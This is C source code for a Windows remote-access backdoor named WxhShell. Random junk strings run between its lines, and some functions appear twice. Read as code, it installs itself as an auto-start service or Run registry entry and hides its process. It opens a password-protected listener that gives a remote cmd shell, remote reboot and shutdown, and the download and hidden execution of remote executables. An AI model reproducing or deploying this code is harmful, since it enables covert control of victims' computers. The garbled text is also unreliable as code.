NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &jPsdv h gzdgnF2 if (!NtQueryInformationProcess) return 0; 8|Y^z_C ~yf 5$~Z hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MN)<Tr2f if(!hProcess) return 0; mKq9mA"(E `Op
";E88 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %s)E}cGH ~GY;{ CloseHandle(hProcess); @49^WY ^jhHaN]G^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7y`~T+ if(hProcess==NULL) return 0; 2W~2Hk=0+% TT&!WbA-Hk HMODULE hMod; o_$r*Z|HG char procName[255]; Ap> n4~ unsigned long cbNeeded; !!K=v7M ,|c_l) if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \S2'3SDd/ sQH.}W$C CloseHandle(hProcess); )d1,}o T@HozZ if(strstr(procName,"services")) return 1; // 以服务启动 #QDV_ziE5 Pr/&p0@aV return 0; // 注册表启动 CC87<>V }
nocH~bAf2 !kKKJ~,; // 主模块 )DLK<10 int StartWxhshell(LPSTR lpCmdLine) rC*n Z* { /iQ>he~fy SOCKET wsl; SO&;]YO BOOL val=TRUE; EX5kF int port=0; D 7E^;W)H struct sockaddr_in door; QY fS- !c`1~a! if(wscfg.ws_autoins) Install(); jKQP0 t- :{6[U=O port=atoi(lpCmdLine); 5Q'R5]?h =UP)b9*h if(port<=0) port=wscfg.ws_port; Gsh2 3a S>U # WSADATA data; -T(V6&'Qi if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UX9o ";. 3+z if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Tuy*Df setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Fu><lN7 door.sin_family = AF_INET; \%VoX`B door.sin_addr.s_addr = inet_addr("127.0.0.1"); g?+P&FL#I door.sin_port = htons(port); ?{dno= +]_} \ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Zj0&/S closesocket(wsl); fjJIF% return 1; *Ee# x!O } %qv7;E2C 87/{\h if(listen(wsl,2) == INVALID_SOCKET) { ZqGq%8\.s closesocket(wsl); D.GSl return 1; u!S{[7 FY } A|+{x4s` Wxhshell(wsl); 8YJ({ Ou_ WSACleanup(); Y#5S;?bR zBR]bk\ return 0; +$'/!vN BW;u?1Xa } (^4%Fk&I- 7> Qt O // 以NT服务方式启动 32Z4&~I VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dA~6{*) { U#P#YpD;== DWORD status = 0; y%y#Pb| DWORD specificError = 0xfffffff; q.t5L=l^
r G#*;3X$ serviceStatus.dwServiceType = SERVICE_WIN32; 6bn-NY:i serviceStatus.dwCurrentState = SERVICE_START_PENDING; b +_E)4 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }1P serviceStatus.dwWin32ExitCode = 0; yC5|"+
A$ serviceStatus.dwServiceSpecificExitCode = 0; 4c yv
8 serviceStatus.dwCheckPoint = 0; 5%$#3LT| serviceStatus.dwWaitHint = 0; 3WYW]) m}E$6E^~O hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); koU.`l. if (hServiceStatusHandle==0) return; td~3N,S #]'xUgcE9 status = GetLastError(); cG'Wh@ if (status!=NO_ERROR) Ww~0k!8,t { l9h;dI{6 serviceStatus.dwCurrentState = SERVICE_STOPPED; ^s*} 0 serviceStatus.dwCheckPoint = 0; )wRD serviceStatus.dwWaitHint = 0; {1+H\(v serviceStatus.dwWin32ExitCode = status; FRW.
serviceStatus.dwServiceSpecificExitCode = specificError; 8FITcK^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); >seB["C return; BSY#xe V } m @%|Q; wMoAvA_oS serviceStatus.dwCurrentState = SERVICE_RUNNING; @!da1jN serviceStatus.dwCheckPoint = 0; +9J>'oe'D serviceStatus.dwWaitHint = 0; ^b~5zhY& if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J Nz0!wi }
df'g},_ L9@jmh*E // 处理NT服务事件,比如:启动、停止 UK,P?_e VOID WINAPI NTServiceHandler(DWORD fdwControl) K/-D 5U { As`^Ku& switch(fdwControl) O#\>j { =.c"&,c?L case SERVICE_CONTROL_STOP: ~e<<aTwN serviceStatus.dwWin32ExitCode = 0; wW4S@m serviceStatus.dwCurrentState = SERVICE_STOPPED; i]z
i[Zo$ serviceStatus.dwCheckPoint = 0; h(-&.Sm")H serviceStatus.dwWaitHint = 0; Q/9b'^UJ { [}p.*U_nw SetServiceStatus(hServiceStatusHandle, &serviceStatus); @gc"-V*-/ } EoeEg,'~F return; EiUV?Gvz case SERVICE_CONTROL_PAUSE: P$Q&xN<#) serviceStatus.dwCurrentState = SERVICE_PAUSED; M}Mzm2d#` break; ?s]`G'=>V` case SERVICE_CONTROL_CONTINUE: JPG!cX% serviceStatus.dwCurrentState = SERVICE_RUNNING; 4/?Zp4g break; fna>> case SERVICE_CONTROL_INTERROGATE: gOM`I+CwT break; pS;dvZ }; D.b<I79bX SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0 y%R } }[`?#`sW
lijy?:__ // 标准应用程序主函数 cG:`Zj~4 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d
]
;pG( { `uHpj`EU P}`1#$ // 获取操作系统版本 kVv
<tw OsIsNt=GetOsVer(); }q W aE GetModuleFileName(NULL,ExeFile,MAX_PATH); k;5}@3iQ r.;iO0[/ // 从命令行安装 Rjl __90
if(strpbrk(lpCmdLine,"iI")) Install(); rR~X>+K `WS_*fJ5 // 下载执行文件 8)8oR&(f if(wscfg.ws_downexe) { sIsu >eL if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p%1m&/`F WinExec(wscfg.ws_filenam,SW_HIDE); [!mjUsut* } 17oxD ($>0&w if(!OsIsNt) { ;7k7/f: // 如果时win9x,隐藏进程并且设置为注册表启动 >>zoG3H! HideProc(); RzQS@^u*F0 StartWxhshell(lpCmdLine); QO k"UP } >iN%Uz else 0)V-|v` if(StartFromService()) {2^@jD // 以服务方式启动
3 H2;mqq StartServiceCtrlDispatcher(DispatchTable); I >Q,]S1h else VYo;[ue([ // 普通方式启动 dy?|Q33Y" StartWxhshell(lpCmdLine); XH$|DeAFM q&T'x> / return 0; -<]_:Kf{;& } Q0\5j<'e RJ4mlW /8\&f%E +Uq:sfj, =========================================== 1C=P #MU` /ASI0h P'9io!Z-s WI_mJ/2 Y26l,XIV `0|&T;7 " L$Ar]O) J6D$ i+ #include <stdio.h> -U[`pUY?f #include <string.h>
Fjt, #include <windows.h> $ n[7 #include <winsock2.h> :-" jKw #include <winsvc.h> z|)1l` #include <urlmon.h> [Od9,XBa .fY<"2g #pragma comment (lib, "Ws2_32.lib") l>Ja[`X@ #pragma comment (lib, "urlmon.lib") y4rJ- ':)j@O3- #define MAX_USER 100 // 最大客户端连接数 PJ:5Lb< #define BUF_SOCK 200 // sock buffer $ywh%OEH #define KEY_BUFF 255 // 输入 buffer +N:6wZ7<f xGv,%'u\ #define REBOOT 0 // 重启 G;c0 #define SHUTDOWN 1 // 关机 1e&b;l'*= ![ID0}MjJ #define DEF_PORT 5000 // 监听端口 -Bv1}xf=6 dt&Lwf/ #define REG_LEN 16 // 注册表键长度 l(\8c><m #define SVC_LEN 80 // NT服务名长度 ]f-'A>MC 00a<(sS; // 从dll定义API 1";e'?^x typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SliQwm5 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -G#@BtB2+ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iiB )/~!O typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^i)Q
CDU7 L00;rTs> // wxhshell配置信息 J*KBG2+13 struct WSCFG { JD`;,Md int ws_port; // 监听端口 udI:]:,P char ws_passstr[REG_LEN]; // 口令 | O+># int ws_autoins; // 安装标记, 1=yes 0=no qS}RFM5| char ws_regname[REG_LEN]; // 注册表键名 nk$V{(FJ char ws_svcname[REG_LEN]; // 服务名 C|IQM4 char ws_svcdisp[SVC_LEN]; // 服务显示名 4$DliP char ws_svcdesc[SVC_LEN]; // 服务描述信息 =k<4mlok^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4m[C-NB!g int ws_downexe; // 下载执行标记, 1=yes 0=no cW\Y?x
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Yk@s"qm3 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ::Q); u+'@>%7 }; -L3
|9k
bW.zxQ: // default Wxhshell configuration *
r4/|.l struct WSCFG wscfg={DEF_PORT, ^'53]b: "xuhuanlingzhe", P9mxY*K)%5 1, "q>I?UcZ "Wxhshell", gXLZ) >+A+ "Wxhshell", \{=`F`oB= "WxhShell Service", m<,G:?RM "Wrsky Windows CmdShell Service", uQtk|)T E "Please Input Your Password: ", <bXWkj 1, m-S33PG{ "http://www.wrsky.com/wxhshell.exe", ;E? hz "Wxhshell.exe" Vt)\[Tl~ }; 2{]S_. zV ,#jhKnk2e // 消息定义模块 +9
p`D char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2|H91Y2 char *msg_ws_prompt="\n\r? for help\n\r#>"; &c?hJ8" char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; VO;UV$$ char *msg_ws_ext="\n\rExit."; | ]!Ky[P char *msg_ws_end="\n\rQuit."; $x_52 j\j char *msg_ws_boot="\n\rReboot..."; ,{ L;B char *msg_ws_poff="\n\rShutdown..."; f'`nx;@X char *msg_ws_down="\n\rSave to "; Re,$<9V s!;VUr\ char *msg_ws_err="\n\rErr!"; pg}+lYGP char *msg_ws_ok="\n\rOK!"; E,D:D3O U>_\ char ExeFile[MAX_PATH]; ,dj*p,J int nUser = 0; CVSsB:H6e HANDLE handles[MAX_USER]; /mBBeg^a int OsIsNt; BXK::M+ Ril21o! j SERVICE_STATUS serviceStatus; 'UvS3]bSYW SERVICE_STATUS_HANDLE hServiceStatusHandle; @wdB% qzlMn)e // 函数声明 zhX`~){N6 int Install(void); HMS9y%zl/ int Uninstall(void); &A9A#It int DownloadFile(char *sURL, SOCKET wsh); #C,f/PXfaB int Boot(int flag); bu"68A;> void HideProc(void); ic0v*Y$ int GetOsVer(void); IL>/PuZku int Wxhshell(SOCKET wsl); m~j\?mb{+ void TalkWithClient(void *cs); ~Riu*< int CmdShell(SOCKET sock); 01{r^ZT`RH int StartFromService(void); ?y*+^E0 int StartWxhshell(LPSTR lpCmdLine); |N=@E,33 [
4Y
`O VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `k}l$ih`X VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,8xP8T~Kmv Il^\3T+ // 数据结构和表定义 BvZ^^IUb SERVICE_TABLE_ENTRY DispatchTable[] = <`p75B { APtselC {wscfg.ws_svcname, NTServiceMain}, 7tfivIj)e {NULL, NULL} ueE?"Hk }; _D2bGZN Y7:Y{7E7 // 自我安装 9"HmHy&:E int Install(void) \Ul.K!b7 { Dd5xXs+c char svExeFile[MAX_PATH]; }rY?=I HKEY key; }$0xt' q& strcpy(svExeFile,ExeFile); QLB1:O> g<rKV+$6 // 如果是win9x系统,修改注册表设为自启动 RFn0P)9& if(!OsIsNt) { Oa}V>a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VTJIaqw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i#]aV]IT RegCloseKey(key); 1t\b a1x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z4HA94 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o1#:j?sN RegCloseKey(key); AJ#m6`M+EK return 0; .W@(nQ-< } $['7vcB^ } E/dO7I`B } g* \P6 else { Q9yGQu :zj9%4A // 如果是NT以上系统,安装为系统服务 2-$bh SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vhYMWfbY if (schSCManager!=0) @m/;ZQ { Tbi]oB# SC_HANDLE schService = CreateService c>R`jb@$N ( `
Y{>2UFX schSCManager, 0j{F^rph wscfg.ws_svcname,
joChML_ wscfg.ws_svcdisp, O/DAf|X| SERVICE_ALL_ACCESS, mZbWRqP[|_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cZDxsd] SERVICE_AUTO_START, 9RCO|J SERVICE_ERROR_NORMAL, dcl.wD0~V svExeFile,
e'~-`Z9-) NULL, /]/>jz> NULL, ,W1a<dl NULL, BLL]^qN;Y NULL, "+n4 c' NULL _}I(U?Q-C ); H:q )^$s if (schService!=0) (Pk"NEP { aJ5H3X}Y CloseServiceHandle(schService); c7+Djqs CloseServiceHandle(schSCManager); aE7u5PM strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %ezb^O_6v strcat(svExeFile,wscfg.ws_svcname); ggm2%|?X if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *3_f&Y RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e}'#Xv RegCloseKey(key); <$i"zb return 0; cS D._"P } ocIt@#20K } #cj\~T.,, CloseServiceHandle(schSCManager); .1.J5>/n } 9^ >M>f" } :M22P`: SUH mBo"} return 1; o~v_PD[S } :W.jNV{e\F 0T9@,scY // 自我卸载 [F/^J|VMV int Uninstall(void) ex`
xkZ+ { *'9)H0 HKEY key; gEr4zae Si?$\H*: if(!OsIsNt) { <i_>
y~v` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x],8yR)R RegDeleteValue(key,wscfg.ws_regname); [!1)mR RegCloseKey(key); Fw_
(q! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KqM! ! RegDeleteValue(key,wscfg.ws_regname); May&@x/oMS RegCloseKey(key); 4meidKw] return 0; u(pdP" } \C]i|]tl } H+4=|mkQ } _\
. else { <u/a`E? _4P;+Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q7,EY / if (schSCManager!=0) xT9Yes& { H-eEhI(;O SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u.Mqj"o\ if (schService!=0) c%|vUAq* { p+, 1Fi if(DeleteService(schService)!=0) { cQ8dc+ { CloseServiceHandle(schService); UI!6aVL. CloseServiceHandle(schSCManager); _ Ry_K3K return 0; %&^Q(f } 6m4Te| CloseServiceHandle(schService); rr |"r } j~M#Ss-H8 CloseServiceHandle(schSCManager); OSp?okV } \\=.6cg<K } 6(>3P Dn~Z SrJ return 1; f>.4-a? } `WH[DQ F\>oxttS1 // 从指定url下载文件 oi7
3YOB int DownloadFile(char *sURL, SOCKET wsh) K!3{M!B { Y)$52m5rM HRESULT hr; QJx9I_ char seps[]= "/"; MV%Xhfk char *token; )-=2w-ZX char *file; mJ)tHv"7 char myURL[MAX_PATH]; TE3*ktB{N char myFILE[MAX_PATH]; }qer rmOQ{2} strcpy(myURL,sURL); h^}_YaT\ token=strtok(myURL,seps); Ci;h while(token!=NULL) B,3 t` { 9'1hjd3k file=token; D9ANm"# token=strtok(NULL,seps); "$GK.MP5 } 5^\m`gS $fj])>=H GetCurrentDirectory(MAX_PATH,myFILE); I0!j<G strcat(myFILE, "\\"); EPc!p> strcat(myFILE, file); Yt -W1vl send(wsh,myFILE,strlen(myFILE),0); `)"tO&Fn send(wsh,"...",3,0); lp(Nv(S hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cv3L&zg M if(hr==S_OK) 3 h#s([uL return 0; r,5-XB else o6*/o ]] return 1; >A3LA3(
c =(%*LY!Xc } y =R
aJm NdZ)[f:2 // 系统电源模块 }d_<\ int Boot(int flag) DB#$~(o { g[M]i6h2 HANDLE hToken; hHpx?9O+! TOKEN_PRIVILEGES tkp; ugno]5Ni Qh^R Ax if(OsIsNt) { /mc*Hc8R8 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @8|Gh]\P LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D -6 tkp.PrivilegeCount = 1; ,s0
9B tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pDGT@qJ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Rfht\{N 7 if(flag==REBOOT) { <KtBv Ip] if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5:c;RRn return 0; +kM\
D~D1 } `4LJ;KC( else { ;d4y{ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qYiv return 0; GWgd8x*V } TFO74^ } i-b1d'?Rb else { CJp-Y}fGEA if(flag==REBOOT) { ZPlPN;J^1 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Twx{' S return 0; H<,bq*@ } hcyn
else { }wfI4?}j} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^p,3)$ return 0; 2 l(Dee Y } Xtkw Z3 } 8)pB_en3sO L?HF'5o return 1; `_GO=QQ }
YZ<
NP BhLZ7 * // win9x进程隐藏模块 ^#;RLSv
void HideProc(void)
//<:k8 { p5-<P?B `gI~|A4 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &mcR if ( hKernel != NULL ) "qS!B.rt: { jn^fgH? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Oxv+1Ub<Dv ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P{cos&X| FreeLibrary(hKernel); 1aq2aLx } 80}4/8 kbhX?; <` return; x6ahZ } 9<l-NU9 _ 088C| // 获取操作系统版本 LJWTSf"f? int GetOsVer(void) _dr*`yXi { 3za`>bUN OSVERSIONINFO winfo; j7}lF?cJ2 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i:d`{kJ|[ GetVersionEx(&winfo); ,Aj }]h\L if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wu 2:'y>n return 1; cz#_<8'N else Fj^AWv^/ return 0; lUHtjr } vL$|9|W( IcFK,y%1 // 客户端句柄模块 f>niFPW" int Wxhshell(SOCKET wsl) A#35]V06 { I8k SOCKET wsh; \i0-o8q@I struct sockaddr_in client; A*F9\mjI5 DWORD myID; 3u_oRs b@6:1x while(nUser<MAX_USER) Fc'[+L--Q { \5hw9T&[B int nSize=sizeof(client); fL Nag~
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o8{<qn| if(wsh==INVALID_SOCKET) return 1; (@q3^)I4 )[jy[[K( handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g/#~N~& if(handles[nUser]==0) YBvd
q1 closesocket(wsh); sKd)BA0` else bnr|Y!T}Bi nUser++; s@~/x5jwCs } hJ[UB WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N@()F&e o,FUfO}F return 0; G3dhM#! } mgVML&^ ?E7=:h(@t // 关闭 socket u!Bk,}CE` void CloseIt(SOCKET wsh) &$#99\/ { .S!-e$EJ closesocket(wsh); O>AFF@= nUser--; Pq?*C;D ExitThread(0); v9rVpYc" } Q#pnj thM nxQ}&n // 客户端请求句柄 gS$A void TalkWithClient(void *cs) _-%d9@x { M|r8KW~S) i03gX<=* SOCKET wsh=(SOCKET)cs; t`u!]DHv char pwd[SVC_LEN]; 7'OPjtM char cmd[KEY_BUFF]; H$tb;: char chr[1]; 5v9uHxy int i,j; N9]xJgTze 4ht\&2&: while (nUser < MAX_USER) { uyT/Xzo3 Rp/-Pv
if(wscfg.ws_passstr) { -H\,2FO if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O2 v. //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &fSTR-8ev# //ZeroMemory(pwd,KEY_BUFF); hYb9`0G"2 i=0; C`4gsqD;Z while(i<SVC_LEN) { .pvxh|V <xlm
K( // 设置超时 _tj&Psp fd_set FdRead; hWm0$v1p struct timeval TimeOut; tStJ2-5*t FD_ZERO(&FdRead); ]6q*)q:` FD_SET(wsh,&FdRead); St_Sl:m$ TimeOut.tv_sec=8; 1[px`%DR~ TimeOut.tv_usec=0; >-eS&rma int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SNN#$8\ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RB *P0 K9^ "NS3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
&AJUY()8 pwd=chr[0]; oo\IS\ if(chr[0]==0xd || chr[0]==0xa) { Gj*SPU pwd=0; yduuFK break; wZ
O@J| } ^t7_3%%w i++; 7<vy;"wB } !9PX\Xbn *iYMX[$ // 如果是非法用户,关闭 socket ~Z7)x7
z if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1S&0 } \UhGGg% R7,pukK send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UL[uh@4 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z41D^}b AT-0}9z{ while(1) { {x|MA(NO =8@RKG`>; ZeroMemory(cmd,KEY_BUFF); qA04Vc[2 ss*5.(y // 自动支持客户端 telnet标准 d0TgqO{ j=0; *0lt$F$~b while(j<KEY_BUFF) { X&/(x if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !%X>rGkc cmd[j]=chr[0]; #U:0/4P( if(chr[0]==0xa || chr[0]==0xd) { &D)Hz cmd[j]=0; YN$`y1V break; G$|G w } X:DMT>5k j++; @f\
X4!e*y } :bI,rEW#_ " xlJs93c // 下载文件 }=TqJy1 if(strstr(cmd,"http://")) { 9Il'E6
J send(wsh,msg_ws_down,strlen(msg_ws_down),0); =#jTo|~u4o if(DownloadFile(cmd,wsh)) [+_\z',u send(wsh,msg_ws_err,strlen(msg_ws_err),0); } mgVC else aE}=^%D send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \;iG{}( } e5QOB/e& else { =Z^un&' )eVzS j>MT switch(cmd[0]) { ybC-f'0 ,#=eu85' // 帮助 ixg\[5.Q+ case '?': { n<=y"* send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x, }ez break; w' .'Yu6 } y(V&z"wk[ // 安装 B$@1QG case 'i': { .v N)A
* if(Install()) uQO(?nCi send(wsh,msg_ws_err,strlen(msg_ws_err),0); /@6E3lhS else P>>f{3e. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y|$vtD%c break; m9 ^m } SlR7h$r' // 卸载 ?56~yQF/2 case 'r': { |C^
c0 if(Uninstall()) tWcizj;?wK send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^
sS>Mts else w{RNv%hJ$= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q/A/3/ break; "0!~g/X`rK } dBsRm{aS // 显示 wxhshell 所在路径 *sjj"^'= case 'p': { HI}pX{.\ char svExeFile[MAX_PATH]; i-|/2I9 % strcpy(svExeFile,"\n\r"); ,xm;JXJ strcat(svExeFile,ExeFile); )-MA!\=< send(wsh,svExeFile,strlen(svExeFile),0); }_Tt1iai* break; Iv Y,9D } |~7+/VvI+ // 重启 USlF+RY@3L case 'b': { B?$S~5
} send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U+(Z#b(Q if(Boot(REBOOT)) (N)r#"FV send(wsh,msg_ws_err,strlen(msg_ws_err),0); :y4)qF else { <)r,CiS closesocket(wsh); 0*/mc9 6 ExitThread(0); (xI)"{ } <\B],M1=s= break; VaOpO8y` } AN|jFSQ' // 关机 4he v
; case 'd': { Z&AHM &,yj send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Np|:dP9#} if(Boot(SHUTDOWN)) 6-)7:9y send(wsh,msg_ws_err,strlen(msg_ws_err),0); =x|##7 else { Bl>_&A) closesocket(wsh); ho?|j"/7 ExitThread(0); Oz"@yL} }
e-L5=B break; 67Af} >Q } )->-~E}p9 // 获取shell j<`I\Pmv case 's': { p.6$w:eV CmdShell(wsh); Y\ #.EVz closesocket(wsh); i{Y=!r5r ExitThread(0); K,`).YK break; IKNFYe[9e } Jnh;;< // 退出 =; ~%L case 'x': { z^gDbXS send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "Nk=g~| CloseIt(wsh); F'$9en2I: break; pko!{,c } ,mAB)at // 离开 )R
[@G. case 'q': { q/W{PBb-2k send(wsh,msg_ws_end,strlen(msg_ws_end),0); hP'~ closesocket(wsh); \'\N"g`Fr WSACleanup(); *7:u-}c! exit(1); [TiTff&LV break; w>H%[\Qs } /K2.V@T } \NvC
} ae9k[=- 23B^g // 提示信息 [[Jv)?jm if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +X2 i/} } k1QpX@ } /xX,
wiK@o$S- return; lOowMlf@2 } W TXD4} (hRgYwUa< // shell模块句柄 E.7AbHph0 int CmdShell(SOCKET sock) r{Qs9 { Mipm&5R STARTUPINFO si; U5@TaGbx ZeroMemory(&si,sizeof(si)); S*2L4Uj`| si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9TbS>o si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9H
!B) PROCESS_INFORMATION ProcessInfo; dw{#|| char cmdline[]="cmd"; SoXX}<~E4 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~P"!DaAf return 0; B BApL{ } hy!'Q>[` tF;& x
g // 自身启动模式 ,oB k> int StartFromService(void) 110>p { ~vjr;a(B typedef struct 82Z[eo { E,ZB;
DWORD ExitStatus; Mo/2,DiI5 DWORD PebBaseAddress;
"df13U" DWORD AffinityMask; (>+k 3 DWORD BasePriority; \gJapx( ULONG UniqueProcessId; Hb@G*L$ ULONG InheritedFromUniqueProcessId; 4$q)e<- } PROCESS_BASIC_INFORMATION; _x,-d|9bd }]n>A PROCNTQSIP NtQueryInformationProcess; -Fok%iQ'5 ,
$D&WH static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `ykMh>*{ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C-:SQf 1O'* X HANDLE hProcess; *$4A|EA V PROCESS_BASIC_INFORMATION pbi; mvL0F%\.\ +s*l#'Q HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `DWi4y7 if(NULL == hInst ) return 0; 5 vu_D^Q vxzf[ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d<|lLNS g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cc2 oFn NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H>X\C;X[
Jegx[*O>b if (!NtQueryInformationProcess) return 0; yG4LQE +qSr=Y:+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #0YzPMV if(!hProcess) return 0; Ck/_UY| D<D
k1 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M|Lw`?T upEPv
.h CloseHandle(hProcess); bHWvKv+ WV!kA_ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xj00eL if(hProcess==NULL) return 0; die2<'\4% K+`-[v5\ HMODULE hMod; !rsqr32] char procName[255]; 3q.[-.q unsigned long cbNeeded; .olPm3MC z7.C\l if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0imqj7L jN'fm CloseHandle(hProcess); $jm>tW&; u{{xnyl? if(strstr(procName,"services")) return 1; // 以服务启动 =Zb"T5E $E9daUt8"J return 0; // 注册表启动 ad3z]dUZ9 } q$u\
q. Edn$0D68u_ // 主模块 0P%|)Ae int StartWxhshell(LPSTR lpCmdLine) bh;b`
